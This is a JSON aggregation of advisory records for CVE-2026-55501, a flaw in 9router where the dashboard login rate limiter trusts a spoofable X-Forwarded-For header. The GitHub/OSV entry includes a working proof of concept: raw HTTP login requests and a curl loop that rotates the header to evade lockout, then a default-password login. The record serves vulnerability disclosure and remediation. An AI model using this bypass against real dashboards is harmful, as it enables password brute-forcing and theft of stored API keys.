{"id":"CVE-2026-55501","revision":null,"records":[{"revision":"2177f2f93a3145f4b9e3c1b15364a978","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55501","aliases":[],"title":"9router: Login brute-force protection bypass via spoofed X-Forwarded-For header","description":"9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.","state":0,"publishedAt":"2026-07-10T15:23:53.709+00:00","modifiedAt":"2026-07-10T16:45:23.879+00:00","affected":[{"ecosystem":"Vendor product","name":"9router","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"decolua\",\n                    \"product\": \"9router\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.4.80\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"severity":"HIGH"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7","https://github.com/decolua/9router/commit/7648c3412b403a29f04967c4b4e9725e228791d4","https://github.com/decolua/9router/releases/tag/v0.4.80"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55501","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55501","identifiers":["CVE-2026-55501"]},"retained":false,"historicalAffected":[]},{"revision":"9eb656f2874f4a1199b5652b7712b66e","observedAt":"2026-11-07T12:32:17.416+00:00","statement":{"source":"euvd","id":"EUVD-2026-42926","aliases":["CVE-2026-55501","GHSA-7cfm-pqrj-xgq7"],"title":"9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.…","description":"9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"severity":null}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7","https://github.com/decolua/9router/commit/7648c3412b403a29f04967c4b4e9725e228791d4","https://github.com/decolua/9router/releases/tag/v0.4.80"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42926","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 10, 2026, 3:23:53 PM","dateUpdated":"Jul 10, 2026, 4:45:23 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42926","identifiers":["EUVD-2026-42926","CVE-2026-55501","GHSA-7cfm-pqrj-xgq7"]},"retained":false,"historicalAffected":[]},{"revision":"c1f54b97f8f5476486d92bc57dfe40e4","observedAt":"2026-10-27T15:15:14.036+00:00","statement":{"source":"nvd","id":"CVE-2026-55501","aliases":[],"title":"9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.…","description":"9Router is an AI router & token saver. Prior to 0.4.80, the dashboard login rate limiter in src/lib/auth/loginLimiter.js derives the client identity from the attacker-controlled X-Forwarded-For HTTP header, and src/app/api/auth/login/route.js uses that spoofable value for checkLock and recordFail. A remote attacker can rotate the X-Forwarded-For value on each login attempt to receive a fresh rate-limit bucket, bypass the 5-attempt threshold and progressive lockout durations, and perform unlimited brute-force attempts against the dashboard password. This issue is fixed in version 0.4.80.","state":0,"publishedAt":"2026-07-10T16:16:33.493+00:00","modifiedAt":"2026-10-25T15:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":7.3,"severity":"HIGH"}],"references":["https://github.com/decolua/9router/commit/7648c3412b403a29f04967c4b4e9725e228791d4","https://github.com/decolua/9router/releases/tag/v0.4.80","https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55501","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-307"],"productCriteria":[],"sourceDates":{"published":"2026-07-10T16:16:33.493","lastModified":"2026-10-25T15:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55501","identifiers":["CVE-2026-55501"]},"retained":false,"historicalAffected":[]},{"revision":"91d9bbe911c846d098372f9f4a08f565","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-7cfm-pqrj-xgq7","aliases":["CVE-2026-55501"],"title":"9router: Login brute-force protection bypass via spoofed X-Forwarded-For header","description":"## Summary\n\nThe 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time.\n\nThis bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.\n\n## Details\n\n| Component                    | File                              | Note                                                                        |\n| ---------------------------- | --------------------------------- | --------------------------------------------------------------------------- |\n| Dashboard login rate limiter | `src/lib/auth/loginLimiter.js`    | Uses `X-Forwarded-For` as the client identity without a trusted-proxy check |\n| Dashboard login route        | `src/app/api/auth/login/route.js` | Calls `checkLock()` and `recordFail()` using the spoofable client identity  |\n\n#### Vulnerable Code\n\n`src/lib/auth/loginLimiter.js`:\n\n```js\nexport function getClientIp(request) {\n  const xff = request.headers.get(\"x-forwarded-for\");\n  if (xff) return xff.split(\",\")[0].trim();\n  return request.headers.get(\"x-real-ip\") || \"unknown\";\n}\n```\n\nThe returned value is used as the key for the in-memory rate-limit state:\n\n```js\nconst attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }\n```\n\nThe login route uses this value when checking and recording failed login attempts:\n\n```js\nexport async function POST(request) {\n  const ip = getClientIp(request);\n  const lock = checkLock(ip);\n\n  if (lock.locked) {\n    return NextResponse.json(\n      { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },\n      { status: 429 }\n    );\n  }\n\n  // ... password validation ...\n\n  recordFail(ip);\n}\n```\n\nBecause `X-Forwarded-For` is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.\n\n## PoC\n\n### Step 1 — Baseline: rate limiter triggers when the client identity is stable\n\nSend repeated failed login attempts with the same `X-Forwarded-For` value:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: localhost:20128\nContent-Type: application/json\nX-Forwarded-For: 1.1.1.1\n\n{\"password\":\"wrong-password\"}\n```\n\nObserved behavior:\n\n| Attempt | Response                                              |\n| ------- | ----------------------------------------------------- |\n| 1       | `Invalid password. 4 attempt(s) left before lockout.` |\n| 2       | `Invalid password. 3 attempt(s) left before lockout.` |\n| 3       | `Invalid password. 2 attempt(s) left before lockout.` |\n| 4       | `Invalid password. 1 attempt(s) left before lockout.` |\n| 5       | `Too many failed attempts. Try again in 30s.`         |\n| 6       | `Too many failed attempts. Try again in 30s.`         |\n\nThis confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.\n\n### Step 2 — Bypass: rotate `X-Forwarded-For` on each request\n\nSend failed login attempts while changing the `X-Forwarded-For` value for every request:\n\n```bash\nfor i in $(seq 1 10); do\n  curl -s -X POST \"http://localhost:20128/api/auth/login\" \\\n    -H \"Content-Type: application/json\" \\\n    -H \"X-Forwarded-For: 10.0.0.$i\" \\\n    -d '{\"password\":\"wrong-password\"}'\n  echo\ndone\n```\n\nObserved response for every request:\n\n```json\n{\n  \"error\": \"Invalid password. 4 attempt(s) left before lockout.\",\n  \"remainingBeforeLock\": 4\n}\n```\n\nThe counter resets to the initial state on every request, and the lockout is never triggered.\n\n### Step 3 — Impact amplifier: default dashboard password\n\nIf the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.\n\nExample request:\n\n```http\nPOST /api/auth/login HTTP/1.1\nHost: localhost:20128\nContent-Type: application/json\nX-Forwarded-For: 99.99.99.99\n\n{\"password\":\"<default-dashboard-password>\"}\n```\n\nObserved response on a default installation:\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax\n```\n\n```json\n{\n  \"success\": true\n}\n```\n\nThe default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.\n\n## Attack Scenario\n\n1. A remote attacker identifies a publicly reachable 9router dashboard.\n2. The attacker sends repeated login attempts to `/api/auth/login`.\n3. For each attempt, the attacker changes the `X-Forwarded-For` header value.\n4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.\n5. The attacker can continue brute-force attempts without triggering the configured lockout.\n6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.\n\n## Impact\n\nA successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.\n\nIf authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:\n\n* Access configured provider credentials and API keys.\n* Change dashboard and authentication settings.\n* Disable login protection if the application allows it.\n* Create persistent API keys or other long-lived access tokens.\n* Modify application configuration.\n* Chain the access with other server-side functionality exposed by the dashboard.","state":0,"publishedAt":"2026-07-06T21:46:20+00:00","modifiedAt":"2026-07-06T22:11:30.120695+00:00","affected":[{"ecosystem":"npm","name":"9router","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.4.77"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-7cfm-pqrj-xgq7","https://github.com/decolua/9router"],"sourceUrl":"https://github.com/advisories/GHSA-7cfm-pqrj-xgq7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7cfm-pqrj-xgq7","identifiers":["GHSA-7cfm-pqrj-xgq7","CVE-2026-55501"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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